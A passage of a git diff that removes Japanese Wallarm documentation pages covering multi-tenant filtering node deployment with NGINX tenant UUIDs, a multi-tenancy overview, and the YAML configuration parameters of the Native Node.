-マルチテナントノードは次の特徴を持ちます。 - -* 通常のフィルタリングノードと同じ[プラットフォーム](../../installation/supported-deployment-options.md)に、同じ手順でインストールできますが、以下は除きます。 - * MuleSoft MuleおよびFlex Gatewayのコネクタ - * Amazon CloudFrontコネクタ - * Cloudflareコネクタ - * Broadcom Layer7 API Gatewayコネクタ - * Fastlyコネクタ - * Kong API Gatewayコネクタ - * Istioコネクタ -* テクニカルテナントまたはテナントレベルにインストールできます。テナントにWallarm Consoleへのアクセスを提供する場合は、フィルタリングノードを該当するテナントレベルにインストールする必要があります。 -* 通常のフィルタリングノードと同じ手順で設定できます。 -* ディレクティブ[`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid)は、テナントごとにトラフィックを分割するために使用します。 -* ディレクティブ[`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application)は、アプリケーションごとに設定を分割するために使用します。 - -## デプロイ要件 - -* [テナントアカウントの設定](configure-accounts.md)が完了していること -* [テクニカルテナントアカウント](overview.md#tenant-accounts)配下でGlobal administratorロールが付与されたユーザーが以降のコマンドを実行すること -* [フィルタリングノードインストール対象のサポートプラットフォーム](../../installation/supported-deployment-options.md)が用意されていること - -## マルチテナントノードのデプロイに関する推奨事項 - -* テナントにWallarm Consoleへのアクセスが必要な場合は、適切なテナントアカウント内にフィルタリングノードを作成します。 -* テナントのNGINX設定ファイル経由でフィルタリングノードを設定します。 - -## マルチテナントノードをデプロイする手順 - -1. Wallarm Console → Nodesで、Create nodeをクリックし、Wallarm nodeを選択します。 - - !!! info "既存のWallarmノードをマルチテナントモードに切り替える" - 既存のWallarmノードをマルチテナントモードに切り替える場合は、Nodesセクションの該当ノードのメニューからMake it multi-tenantオプションを使用します。 - - 切り替えと確認が完了したら、4番目の手順に進みます。 -1. Multi-tenant nodeオプションを選択します。 - - ![マルチテナントノードの作成](../../images/user-guides/nodes/create-multi-tenant-node.png) -1. ノード名を設定し、Createをクリックします。 -1. フィルタリングノードのトークンをコピーします。 -1. フィルタリングノードのデプロイ形態に応じて、[該当する手順](../../installation/supported-deployment-options.md)を実行します。 -1. 各テナントの一意識別子を使用してテナント間でトラフィックを分割します。 - - === "NGINXおよびNGINX Plus" - テナントのNGINX設定ファイルを開き、ディレクティブ[`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid)を使用してテナント間でトラフィックを分割します。以下の例を参照してください。 - === "NGINX Ingress Controller" - 各Ingressリソースに対してテナントUUIDを設定するには、Ingressの[アノテーション](../../admin-en/configure-kubernetes-en.md#ingress-annotations) `nginx.ingress.kubernetes.io/wallarm-partner-client-uuid`を使用します。1つのリソースは1つのテナントに対応します。 - - ``` - kubectl annotate --overwrite ingress -n nginx.ingress.kubernetes.io/wallarm-partner-client-uuid=VALUE - ``` - === "Docker NGINXベースイメージ" - 1. NGINX設定ファイルを開き、ディレクティブ[`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid)を使用してテナント間でトラフィックを分割します。以下の例を参照してください。 - 1. Dockerコンテナを[設定ファイルをマウントして実行](../../admin-en/installation-docker-en.md#run-the-container-mounting-the-configuration-file)します。 - === "Kubernetes Sidecar" - 1. NGINX設定ファイルを開き、ディレクティブ[`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid)を使用してテナント間でトラフィックを分割します。 - 1. NGINX設定ファイルを[Wallarm sidecarコンテナ](../../installation/kubernetes/sidecar-proxy/customization.md#using-custom-nginx-configuration)にマウントします。 - - 2つのクライアントのトラフィックを処理するフィルタリングノード向けNGINX設定ファイルの例： - - ``` - server { - listen 80; - server_name tenant1.com; - wallarm_mode block; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - - location / { - proxy_pass http://upstream1:8080; - } - } - - server { - listen 80; - server_name tenant2.com; - wallarm_mode monitoring; - wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222; - - location / { - proxy_pass http://upstream2:8080; - } - } - ``` - - * テナント側では、パートナーIPアドレスを指すDNS Aレコードを設定します。 - * パートナー側では、テナントのアドレス（`wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111`のテナントは`http://upstream1:8080`、`wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222`のテナントは`http://upstream2:8080`）にリクエストをプロキシするように設定します。 - * すべての受信リクエストはパートナーのアドレスで処理され、正当なリクエストは`wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111`のテナントには`http://upstream1:8080`へ、`wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222`のテナントには`http://upstream2:8080`へプロキシされます。 - -1. 必要に応じて、ディレクティブ[`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application)を使用してテナントのアプリケーションIDを指定します。 - - 例： - - ``` - server { - listen 80; - server_name tenant1.com; - wallarm_mode block; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - - location / { - proxy_pass http://upstream1:8080; - } - - location /login { - wallarm_application 21; - ... - } - location /users { - wallarm_application 22; - ... - } - } - ``` - - テナント`11111111-1111-1111-1111-111111111111`には次の2つのアプリケーションが属します。 - - * `tenant1.com/login`はアプリケーション`21`です - * `tenant1.com/users`はアプリケーション`22`です - -## マルチテナントノードの設定 - -フィルタリングノードの設定をカスタマイズするには、[利用可能なディレクティブ](../../admin-en/configure-parameters-en.md)を使用します。 - ---8<-- "../include/waf/installation/common-customization-options-nginx-4.4.md" \ No newline at end of file diff --git a/docs/latest-ja/installation/multi-tenant/overview.md b/docs/latest-ja/installation/multi-tenant/overview.md deleted file mode 100644 index a0aca313b4..0000000000 --- a/docs/latest-ja/installation/multi-tenant/overview.md +++ /dev/null @@ -1,76 +0,0 @@ -# マルチテナンシーの概要 - -**マルチテナンシー**機能により、Wallarmを使用して複数の独立した企業インフラや分離された環境を同時に保護できます。 - -**テナント**（[**テナントアカウント**](#tenant-accounts)）は、次のいずれかを表します。 - -* Wallarmをパートナーとして統合する場合の独立した企業（クライアント）。 -* Wallarmをクライアントとして統合する場合の分離された環境。 - ---8<-- "../include/waf/features/multi-tenancy/partner-client-term.md" - -## マルチテナンシーが解決する課題 - -マルチテナンシー機能は、以下の課題に対処します。 - -* **Wallarmのパートナーになる。** パートナーとは、自社のシステムインフラ内にフィルタリングノードを導入し、クライアントに攻撃の緩和を提供する組織です。 - - 各クライアントにはWallarm Console内に個別のアカウントが割り当てられ、そのデータは分離され、当該クライアントのユーザーのみにアクセス可能になります。 - -* **保護対象の環境同士のデータを分離する。** 環境とは、個別のアプリケーション、データセンター、API、本番またはステージング環境などを指します。 - - 関連する課題の例: - - * 独立したチームが管理する本番およびステージング環境に送信されるリクエストをWallarmノードがフィルタリングしています。要件は、特定の環境を管理するチームのみがそのデータにアクセスできるようにすることです。 - * 異なる地域（例えば一方は欧州、もう一方はアジア）に位置し、独立したチームが管理する複数のデータセンターにWallarmノードがデプロイされています。要件は、特定のデータセンターを管理するユーザーのみがそのデータにアクセスできるようにすることです。 - - 各環境にはWallarm Console内に個別のアカウントが割り当てられ、そのデータは分離され、選択されたユーザーのみにアクセス可能になります。 - - !!! info "分離しない環境" - 環境の分離が不要であれば、マルチテナンシーの代わりに、これらの環境ごとに設定や閲覧権限を分けるために[アプリケーション](../../user-guides/settings/applications.md)を使用できます。これにより、1つのアカウント内で環境を整理でき、そのアカウントのすべてのユーザーがアクセスできます。 - -## Wallarmコンポーネントのカスタマイズ - -WallarmはWallarm Consoleおよびその他の一部コンポーネントをカスタマイズできます。マルチテナンシーを使用する場合、次のカスタマイズが役立ちます。 - -* Wallarm Consoleをブランディングします。 -* カスタムドメインでWallarm Consoleをホストします。 -* クライアントや同僚からのメッセージを受信するための技術サポート用メールアドレスを設定します。 - -## テナントアカウント {#tenant-accounts} - -テナントアカウントの特長は次のとおりです。 - -* Wallarm Consoleでテナントアカウントを正しくグループ化するため、各テナントアカウントはグローバルアカウントにリンクされます。グローバルアカウントは、パートナーまたは分離された環境を持つクライアントを示します。 -* ユーザーは各テナントアカウントへのアクセス権を個別に付与されます。 -* 各テナントアカウントのデータは分離され、当該アカウントに追加されたユーザーだけがアクセスできます。 -* **グローバル**[ロール](../../user-guides/settings/users.md#user-roles)を持つユーザーは、新しいテナントアカウントを作成し、すべてのテナントアカウントのデータを閲覧・編集できます。 - -テナントアカウントは次の構造で作成されます。 - -![!テナントアカウントの構造](../../images/partner-waf-node/accounts-scheme.png) - -* **グローバルアカウント**は、パートナーまたはクライアントごとにテナントアカウントをグループ化するためだけに使用されます。 -* **テクニカルテナントアカウント**は[グローバルユーザー](../../user-guides/settings/users.md#user-roles)を追加してテナントアカウントへのアクセスを付与するために使用されます。グローバルユーザーは通常、Wallarmのパートナー企業の従業員、または分離された環境のためにマルチテナンシーを使用するWallarmクライアントの従業員です。 -* **テナントアカウント**は次の目的で使用されます。 - - * 検出された攻撃に関するデータおよびトラフィックフィルタリング設定へのアクセスをテナントに提供します。 - * 特定のテナントアカウントのデータへのアクセスをユーザーに提供します。 - -[グローバルユーザー](../../user-guides/settings/users.md#user-roles)は次のことができます。 - -* Wallarm Consoleでアカウントを切り替えます。 -* テナントの[サブスクリプションとクォータ](../../about-wallarm/subscription-plans.md)を監視します。 - -![!Wallarm Consoleのテナントセレクター](../../images/partner-waf-node/clients-selector-in-console.png) - -* `Technical tenant`はテクニカルテナントアカウントです -* `Tenant 1`と`Tenant 2`はテナントアカウントです - -## マルチテナンシーの構成 - -マルチテナンシー機能はデフォルトでは無効です。有効化して構成するには、次の手順を実行します。 - -1. サブスクリプションプランに**Multi-tenant system**機能を追加するよう、[sales@wallarm.com](mailto:sales@wallarm.com)へリクエストを送信します。 -2. Wallarm Consoleでテナントアカウントを[構成](configure-accounts.md)します。 -3. マルチテナント対応のWallarmノードを[デプロイして構成](deploy-multi-tenant-node.md)します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/native-node/all-in-one-conf.md b/docs/latest-ja/installation/native-node/all-in-one-conf.md deleted file mode 100644 index 4ec3eeaf92..0000000000 --- a/docs/latest-ja/installation/native-node/all-in-one-conf.md +++ /dev/null @@ -1,1057 +0,0 @@ -# All-in-Oneインストーラー、Dockerイメージ、AWS AMIでのNative Nodeの設定 - -All-in-Oneインストーラー、Dockerイメージ、AWS AMIを使用して自己ホスト型の[Wallarm Native Node](../nginx-native-node-internals.md#native-node)をデプロイする際、`.yaml`構成ファイルを作成します。このファイルにノードの設定を記述します。設定可能なすべてのパラメータは本ドキュメントで説明します。 - -All-in-OneインストーラーまたはAWS AMIでノードを起動した後に設定を変更するには: - -1. `/opt/wallarm/etc/wallarm/go-node.yaml`ファイルを更新します。初期構成ファイルはインストール時にこのパスへコピーされます。 -1. 変更を反映するためにWallarmサービスを再起動します: - - ``` - sudo systemctl restart wallarm - ``` - -ノードをDockerイメージでデプロイしている場合は、ホスト側で構成ファイルを更新し、そのファイルを用いてDockerコンテナを再起動することを推奨します。 - -## mode (必須) - -Wallarmノードの動作モードです。次のいずれかを指定します: - -* `connector-server`: MuleSoft [Mule](../connectors/mulesoft.md) または [Flex](../connectors/mulesoft-flex.md) Gateway、[Akamai](../connectors/akamai-edgeworkers.md)、[Cloudflare](../connectors/cloudflare.md)、[Amazon CloudFront](../connectors/aws-lambda.md)、[Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md)、[Fastly](../connectors/fastly.md)、[IBM DataPower](../connectors/ibm-api-connect.md)の各コネクタ用。 -* `tcp-capture`: [TCPトラフィックミラー解析](../oob/tcp-traffic-mirror/deployment.md)用。 -* `envoy-external-filter`: Istioで管理されるAPI向けの[gRPCベースの外部処理フィルタ](../connectors/istio.md)用。 - -=== "connector-server" - Wallarmコネクタ用にNative Nodeをインストールした場合、基本的な設定は次のとおりです: - - ```yaml - version: 4 - - mode: connector-server - - connector: - address: ":5050" - tls_cert: path/to/tls-cert.crt - tls_key: path/to/tls-key.key - blocking: true - allowed_networks: - - 0.0.0.0/0 - allowed_hosts: - - w.com - - "*.test.com" - mesh: - discovery: dns - name: native-node-mesh-discovery - port: 9093 - url_normalize: true - external_health_check: - enabled: true - endpoint: /wallarm-external-health - # per_connection_limits: - # max_requests: 300 - # max_received_bytes: 640_000 - # max_duration: 1m - - proxy_headers: - # ルール1: 社内プロキシ - - trusted_networks: - - 10.0.0.0/8 - - 192.168.0.0/16 - original_host: - - X-Forwarded-Host - real_ip: - - X-Forwarded-For - - # ルール2: 外部エッジプロキシ(例: CDN、リバースプロキシ) - - trusted_networks: - - 203.0.113.0/24 - original_host: - - X-Real-Host - real_ip: - - X-Real-IP - - route_config: - wallarm_application: 10 - wallarm_mode: monitoring - routes: - - route: /example/api/v1 - wallarm_mode: off - - route: /example/extra_api - wallarm_application: 2 - - route: /example/testing - wallarm_mode: off - - log: - pretty: true - level: debug - log_file: stderr - access_log: - enabled: true - verbose: true - log_file: stderr - ``` -=== "tcp-capture" - TCPトラフィックミラー解析用にNative Nodeをインストールした場合、基本的な設定は次のとおりです: - - ```yaml - version: 4 - - mode: tcp-capture - - goreplay: - filter: - extra_args: - - -input-raw-engine - - vxlan - path: /opt/wallarm/usr/bin/gor - parse_responses: true - response_timeout: 5s - url_normalize: true - - proxy_headers: - # ルール1: 社内プロキシ - - trusted_networks: - - 10.0.0.0/8 - - 192.168.0.0/16 - original_host: - - X-Forwarded-Host - real_ip: - - X-Forwarded-For - - # ルール2: 外部エッジプロキシ(例: CDN、リバースプロキシ) - - trusted_networks: - - 203.0.113.0/24 - original_host: - - X-Real-Host - real_ip: - - X-Real-IP - - route_config: - wallarm_application: 10 - wallarm_mode: monitoring - routes: - - route: /example/api/v1 - wallarm_mode: off - - route: /example/extra_api - wallarm_application: 2 - - route: /example/testing - wallarm_mode: off - - log: - pretty: true - level: debug - log_file: stderr - access_log: - enabled: true - verbose: true - log_file: stderr - ``` -=== "envoy-external-filter" - Envoy外部フィルタとしてNative Nodeをインストールした場合、基本的な設定は次のとおりです: - - ```yaml - version: 4 - - mode: envoy-external-filter - - envoy_external_filter: - address: ":5050" - tls_cert: path/to/tls-cert.crt - tls_key: path/to/tls-key.key - - proxy_headers: - # ルール1: 社内プロキシ - - trusted_networks: - - 10.0.0.0/8 - - 192.168.0.0/16 - original_host: - - X-Forwarded-Host - real_ip: - - X-Forwarded-For - - # ルール2: 外部エッジプロキシ(例: CDN、リバースプロキシ) - - trusted_networks: - - 203.0.113.0/24 - original_host: - - X-Real-Host - real_ip: - - X-Real-IP - - route_config: - wallarm_application: 10 - wallarm_mode: monitoring - routes: - - route: /example/api/v1 - wallarm_mode: off - - route: /example/extra_api - wallarm_application: 2 - - route: /example/testing - wallarm_mode: off - - log: - pretty: true - level: debug - log_file: stderr - access_log: - enabled: true - verbose: true - log_file: stderr - ``` - -## コネクタ固有の設定 - -### connector.address (必須) - -コロン(`:`)で区切られた待ち受けIPアドレスとポートを指定します。 - -他のWallarmプロセスで使用されるため、ポートに`80`、`8080`、`9000`、`3313`を指定しないでください。 - -=== "IPアドレス:ポート" - ```yaml - version: 4 - - connector: - address: '192.158.1.38:5050' - ``` -=== "全IPの特定ポート" - ```yaml - version: 4 - - connector: - address: ':5050' - ``` - -### connector.tls_cert (必須) - -ノードが稼働するドメイン向けに発行されたTLS/SSL証明書(通常は`.crt`または`.pem`ファイル)へのパスです。 - -安全な通信のため、証明書は信頼された認証局(CA)により発行されている必要があります。 - -ノードをDockerイメージでデプロイしている場合、このパラメータは不要です。SSL復号は、トラフィックがコンテナ化されたノードに到達する前のロードバランサーレベルで行うべきだからです。 - -### connector.tls_key (必須) - -TLS/SSL証明書に対応する秘密鍵(通常は`.key`ファイル)へのパスです。 - -ノードをDockerイメージでデプロイしている場合、このパラメータは不要です。SSL復号は、トラフィックがコンテナ化されたノードに到達する前のロードバランサーレベルで行うべきだからです。 - -### connector.blocking - -通常、このパラメータを変更する必要はありません。不正リクエストの具体的なブロック動作は、[`wallarm_mode`](#route_configwallarm_mode)パラメータで制御します。 - -このパラメータは、リクエストが不正、denylistに登録されたIPからのもの、その他ブロックが必要な条件の場合に、Native Nodeが着信リクエストをブロックできるようにする全体的な機能を有効にします。 - -デフォルト: `true`。 - -### connector.allowed_networks - -接続を許可するIPネットワークリストです。 - -デフォルト: `0.0.0.0/0`(すべてのIPネットワークを許可)。 - -### connector.allowed_hosts - -許可するホスト名のリストです。 - -デフォルト: すべてのホストを許可。 - -このパラメータはワイルドカードマッチングをサポートします: - -* `*` は区切り文字以外の任意の連続文字列にマッチします -* `?` は区切り文字以外の任意の1文字にマッチします -* `'[' [ '^' ] { character-range } ']'` - -??? info "ワイルドカードマッチングの構文詳細" - ``` - // パターン構文: - // - // pattern: - // { term } - // term: - // '*' 区切り文字以外の任意の連続文字列にマッチ - // '?' 区切り文字以外の任意の1文字にマッチ - // '[' [ '^' ] { character-range } ']' - // 文字クラス(空であってはならない) - // c 文字cにマッチ(c != '*', '?', '\\', '[') - // '\\' c 文字cにマッチ - // - // character-range: - // c 文字cにマッチ(c != '\\', '-', ']') - // '\\' c 文字cにマッチ - // 'lo '-' hi lo <= c <= hi の範囲の文字cにマッチ - // - // 一致は部分文字列ではなく、名前全体がパターンにマッチする必要があります。 - ``` - -例: - -```yaml -version: 4 - -connector: - allowed_hosts: - - w.com - - "*.test.com" -``` - -### connector.mesh - -mesh機能は、`connector-server`モードで複数のノードレプリカがデプロイされている場合に、一貫したトラフィック処理を実現するために使用します。最初に別のレプリカで処理された場合でも、リクエストと対応するレスポンスを同じノードにルーティングします。これは、オートスケーリングやECSでの複数レプリカなど、水平スケーリングの際に重要です。 - -!!! info "Kubernetes環境" - Kubernetesでは、[ネイティブWallarmノードのデプロイ用Helmチャート](helm-chart.md)を使用します。オートスケーリングや複数レプリカが検出されると、追加設定なしでmeshが自動的に構成されます。 - -ECSでmeshを構成するには: - -1. サービスディスカバリ(例: [AWS Cloud Map](https://docs.aws.amazon.com/cloud-map/latest/dg/what-is-cloud-map.html)、[Google Cloud DNS](https://cloud.google.com/dns/) など)をセットアップし、mesh内のノードが動的に相互発見・通信できるようにします。 - - サービスディスカバリがない場合、ノード同士が見つけられず、トラフィックルーティングの問題が発生するため、meshは正しく機能しません。 -1. 次のように構成ファイルで`connector.mesh`パラメータを指定し、Wallarmノードでmeshを使用するように設定します: - -```yaml -version: 4 - -connector: - mesh: - discovery: dns - name: native-node-mesh-discovery - port: 9093 -``` - -#### discovery - -mesh内のノード同士が相互発見する方法を定義します。現在は`dns`のみが利用可能です。 - -ノードはDNSを用いて相互発見します。DNSレコードは、meshに参加するすべてのノードのIPアドレスに解決される必要があります。 - -#### name - -ノードがmesh内の他ノードのIPアドレスを解決するために使用するDNSドメイン名です。通常、ECSサービス内のすべてのノードインスタンスに解決される値に設定します。 - -#### port - -mesh内のノード間通信に使用する内部ポートを指定します。このポートは外部に公開されず、ECSクラスター内のノード間トラフィック専用です。 - -### connector.url_normalize - -ルート設定の選択およびlibprotonによるデータ解析の前にURL正規化を有効にします。 - -デフォルト: `true`。 - -### connector.external_health_check - -Wallarm Nodeの可用性を外部システムが検証できるようにする、追加の外部ヘルスチェックエンドポイントを構成します。 - -エンドポイントはNode(パラメータ`connector.address`)と同じポートで提供され、Nodeが稼働している場合はHTTP 200 OKで応答します。 - -対応バージョン: - -* Native Node 0.13.3以降の0.13.x -* Native Node 0.14.1以降 -* AWS AMIでは未対応 - -```yaml -version: 4 - -connector: - external_health_check: - enabled: true - endpoint: /wallarm-external-health -``` - -#### enabled - -外部ヘルスチェックエンドポイントを有効/無効にします。`true`の場合、指定したエンドポイントがNodeと同じポートで利用可能になります。 - -デフォルト: `false`。 - -#### endpoint - -外部ヘルスチェックエンドポイントを提供するURLパスを定義します。先頭は`/`である必要があります。 - -### connector.per_connection_limits - -`keep-alive`接続に対する制限を定義します。指定した制限のいずれかに達すると、Nodeはクライアントに`Connection: Close`HTTPヘッダーを送信し、現在のTCPセッションを終了して以降のリクエストのために新しいセッションを確立するよう促します。 - -この仕組みにより、アップスケール後にクライアントが単一のNodeインスタンスに接続し続けるのを防ぎ、レベル4の負荷分散に役立ちます。 - -デフォルトでは制限は適用されません。これはほとんどのユースケースで推奨される設定です。 - -Native Node 0.13.4以降の0.13.x、および0.15.1以降でサポートされます。 - -```yaml -version: 4 - -connector: - per_connection_limits: - max_requests: 300 - max_received_bytes: 640_000 - max_duration: 1m -``` - -#### max_requests - -単一の接続でクローズされる前に処理できる最大リクエスト数です。 - -#### max_received_bytes - -接続を通じて受信できる最大バイト数です。 - -#### max_duration - -接続の最大存続時間です(例: `1m`は1分)。 - -## TCPミラー固有の設定 - -### goreplay.filter - -トラフィックをキャプチャするネットワークインターフェースを指定します。値を指定しない場合、インスタンス上のすべてのネットワークインターフェースからトラフィックをキャプチャします。 - -値はネットワークインターフェースとポートをコロン(`:`)で区切って指定します。例: - -=== "インターフェース:ポート" - ```yaml - version: 4 - - goreplay: - filter: 'eth0:80' - ``` - - 複数のインターフェースやポートからトラフィックをキャプチャするには、`goreplay.filter`に加えて`goreplay.extra_args`を使用します。例: - - ```yaml - version: 4 - - goreplay: - filter: 'eth0:80' - extra_args: - - "-input-raw" - - "eth0:8080" - - "-input-raw" - - "eth0:8081" - - "-input-raw" - - "eth1:80" - ``` - - `filter`はGoReplayに`-input-raw`引数を設定し、`extra_args`で追加の`-input-raw`入力を指定できます。 -=== "インターフェース上の全ポート" - ```yaml - version: 4 - - goreplay: - filter: 'eth0:' - ``` -=== "全インターフェースの特定ポート" - ```yaml - version: 4 - - goreplay: - filter: ':80' - ``` -=== "全インターフェースかつ全ポート" - ```yaml - version: 4 - - goreplay: - filter: ':' - ``` - -ホストで利用可能なネットワークインターフェースを確認するには、次を実行します: - -``` -ip addr show -``` - -### goreplay.extra_args - -GoReplayに渡す[追加引数](https://github.com/buger/goreplay/blob/master/docs/Request-filtering.md)を指定できます。 - -* 一般的には、VLANやVXLANなど、解析対象とするミラーリングトラフィックの種類を定義するために使用します。例: - - === "VLANでカプセル化されたミラーリングトラフィック" - ```yaml - version: 4 - - goreplay: - extra_args: - - -input-raw-vlan - - -input-raw-vlan-vid - # VLANのVID (例): - # - 42 - ``` - === "VXLANでカプセル化されたミラーリングトラフィック(AWSで一般的)" - ```yaml - version: 4 - - goreplay: - extra_args: - - -input-raw-engine - - vxlan - # カスタムVXLANのUDPポート (例): - # - -input-raw-vxlan-port - # - 4789 - # 特定のVNI(デフォルトではすべてのVNIをキャプチャ) (例): - # - -input-raw-vxlan-vni - # - 1 - ``` - - ミラーリングされたトラフィックがVLANやVXLANなどの追加プロトコルでカプセル化されていない場合は、`extra_args`の設定を省略できます。非カプセル化トラフィックはデフォルトで解析されます。 -* 追加のインターフェースやポートをキャプチャするために、`filter`を`extra_args`で拡張できます: - - ```yaml - version: 4 - - goreplay: - filter: 'eth0:80' - extra_args: - - "-input-raw" - - "eth0:8080" - - "-input-raw" - - "eth0:8081" - - "-input-raw" - - "eth1:80" - ``` - - `filter`はGoReplayに`-input-raw`引数を設定し、`extra_args`で追加の`-input-raw`入力を指定できます。 - -### goreplay.path - -GoReplayバイナリファイルへのパスです。通常、このパラメータを変更する必要はありません。 - -デフォルト: `/opt/wallarm/usr/bin/gor`。 - -### goreplay.parse_responses - -ミラーリングされたレスポンスを解析するかどうかを制御します。これにより、[脆弱性検出](../../about-wallarm/detecting-vulnerabilities.md)や[API discovery](../../api-discovery/overview.md)など、レスポンスデータに依存するWallarmの機能が有効になります。 - -デフォルト: `true`。 - -レスポンスミラーリングがWallarmノードが稼働するターゲットインスタンスに向けて構成されていることを確認してください。 - -Nodeバージョン0.10.1以前では、このパラメータは`middleware.parse_responses`として設定します。 - -### goreplay.response_timeout - -レスポンスを待機する最大時間を指定します。指定時間内にレスポンスが受信できない場合、Wallarmの処理は対応するレスポンスを待つのを停止します。 - -デフォルト: `5s`。 - -Nodeバージョン0.10.1以前では、このパラメータは`middleware.response_timeout`として設定します。 - -### goreplay.url_normalize - -ルート設定の選択およびlibprotonによるデータ解析の前にURL正規化を有効にします。 - -デフォルト: `true`。 - -Nodeバージョン0.10.1以前では、このパラメータは`middleware.url_normalize`として設定します。 - -## Envoy外部フィルタ固有の設定 - -### envoy_external_filter.address (必須) - -コロン(`:`)で区切られた待ち受けIPアドレスとポートを指定します。 - -他のWallarmプロセスで使用されるため、ポートに`80`、`8080`、`9000`、`3313`を指定しないでください。 - -=== "IPアドレス:ポート" - ```yaml - version: 4 - - envoy_external_filter: - address: '192.158.1.38:5080' - ``` -=== "全IPの特定ポート" - ```yaml - version: 4 - - envoy_external_filter: - address: ':5080' - ``` - -### envoy_external_filter.tls_cert (必須) - -ノードが稼働するドメイン向けに発行されたTLS/SSL証明書(通常は`.crt`または`.pem`ファイル)へのパスです。 - -安全な通信のため、証明書は信頼された認証局(CA)により発行されている必要があります。 - -ノードをDockerイメージでデプロイしている場合、このパラメータは不要です。SSL復号は、トラフィックがコンテナ化されたノードに到達する前のロードバランサーレベルで行うべきだからです。 - -### envoy_external_filter.tls_key (必須) - -TLS/SSL証明書に対応する秘密鍵(通常は`.key`ファイル)へのパスです。 - -ノードをDockerイメージでデプロイしている場合、このパラメータは不要です。SSL復号は、トラフィックがコンテナ化されたノードに到達する前のロードバランサーレベルで行うべきだからです。 - -## 基本設定 - -### proxy_headers - -トラフィックがプロキシやロードバランサを通過する場合に、Native Nodeが元のクライアントIPとホストをどのように抽出するかを設定します。 - -* `trusted_networks`: 信頼するプロキシのIP範囲(CIDR)。`X-Forwarded-For`などのヘッダーは、リクエストがこれらのネットワークから来た場合にのみ信頼します。 - - 省略した場合、すべてのネットワークを信頼します(非推奨)。 -* `original_host`: プロキシによって`Host`値が変更された場合に、元の`Host`値の取得に使用するヘッダー。 -* `real_ip`: 実際のクライアントIPアドレスを抽出するために使用するヘッダー。 - -異なるプロキシタイプや信頼レベルに対して、複数のルールを定義できます。 - -!!! info "ルールの評価順序" - リクエストごとに最初にマッチしたルールのみが適用されます。 - -Native Node 0.13.5以降の0.13.x、および0.15.1以降でサポートされます。 - -例: - -```yaml -version: 4 - -proxy_headers: - - # ルール1: 社内プロキシ - - trusted_networks: - - 10.0.0.0/8 - - 192.168.0.0/16 - original_host: - - X-Forwarded-Host - real_ip: - - X-Forwarded-For - - # ルール2: 外部エッジプロキシ(例: CDN、リバースプロキシ) - - trusted_networks: - - 203.0.113.0/24 - original_host: - - X-Real-Host - real_ip: - - X-Real-IP -``` - -[`tcp-capture`](../oob/tcp-traffic-mirror/deployment.md)モードで動作するNode 0.14.1以前では、`http_inspector.real_ip_header`パラメータを使用してください。以降のバージョンでは、`proxy_headers`セクションに置き換えられます。 - -### route_config - -特定のルートに対する設定を指定する構成セクションです。 - -### route_config.wallarm_application - -[WallarmアプリケーションID](../../user-guides/settings/applications.md)。この値は特定のルートで上書きできます。 - -デフォルト: `-1`。 - -### route_config.wallarm_mode - -一般的なトラフィックの[フィルタリングモード](../../admin-en/configure-wallarm-mode.md): `block`、`safe_blocking`、`monitoring`、`off`。OOBモードではトラフィックブロックはサポートされません。 - -このモードは[特定のルートで上書き可能](#wallarm_mode)です。 - -デフォルト: `monitoring`。 - -### route_config.routes - -ルート固有のWallarm設定を行います。WallarmモードやアプリケーションIDを含みます。設定例: - -=== "connector-server" - ```yaml - version: 4 - - route_config: - wallarm_application: 10 - wallarm_mode: monitoring - routes: - - host: example.com - wallarm_application: 1 - routes: - - route: /app2 - wallarm_application: 2 - - host: api.example.com - route: /api - wallarm_application: 100 - - route: /testing - wallarm_mode: off - ``` -=== "tcp-capture" - ```yaml - version: 4 - - route_config: - wallarm_application: 10 - wallarm_mode: monitoring - routes: - - host: example.com - wallarm_application: 1 - routes: - - route: /app2 - wallarm_application: 2 - - host: api.example.com - route: /api - wallarm_application: 100 - - route: /testing - wallarm_mode: off - ``` - -#### host - -ルートのホストを指定します。 - -このパラメータは、[`connector.allowed_hosts`](#connectorallowed_hosts)と同様のワイルドカードマッチングをサポートします。 - -例: - -=== "connector-server" - ```yaml - version: 4 - - route_config: - wallarm_application: 10 - routes: - - host: "*.host.com" - ``` -=== "tcp-capture" - ```yaml - version: 4 - - route_config: - wallarm_application: 10 - routes: - - host: "*.host.com" - ``` - -#### routes.route or route - -特定のルートを定義します。ルートはNGINXに似たプレフィックスで設定できます: - -```yaml -- route: [ = | ~ | ~* | ^~ | ]/location - # | | | | ^ プレフィックス(正規表現より低い優先度) - # | | | ^ プレフィックス(正規表現より高い優先度) - # | | ^ 正規表現(大文字小文字を区別しない) - # | ^ 正規表現(大文字小文字を区別) - # ^ 完全一致 -``` - -例えば、完全一致のみをマッチさせるには: - -```yaml -- route: =/api/login -``` - -正規表現でルートをマッチさせるには: - -```yaml -- route: ~/user/[0-9]+/login.* -``` - -#### wallarm_application - -[WallarmアプリケーションID](../../user-guides/settings/applications.md)を設定します。特定のエンドポイントに対して`route_config.wallarm_application`を上書きします。 - -#### wallarm_mode - -ホスト固有の[フィルタリングモード](../../admin-en/configure-wallarm-mode.md): `block`、`safe_blocking`、`monitoring`、`off`。OOBモードではトラフィックブロックはサポートされません。 - -デフォルト: `monitoring`。 - -### log.pretty - -エラーログおよびアクセスログの形式を制御します。可読性の高いログにするには`true`、JSONログにするには`false`を設定します。 - -デフォルト: `true`。 - -### log.level - -ログレベルです。`debug`、`info`、`warn`、`error`、`fatal`が指定できます。 - -デフォルト: `info`。 - -### log.log_file - -エラーログの出力先を指定します。`stdout`、`stderr`、またはログファイルへのパスを指定できます。 - -デフォルト: `stderr`。ただし、ノードは`stderr`を`/opt/wallarm/var/log/wallarm/go-node.log`ファイルへリダイレクトします。 - -### log.access_log.enabled - -アクセスログを収集するかどうかを制御します。 - 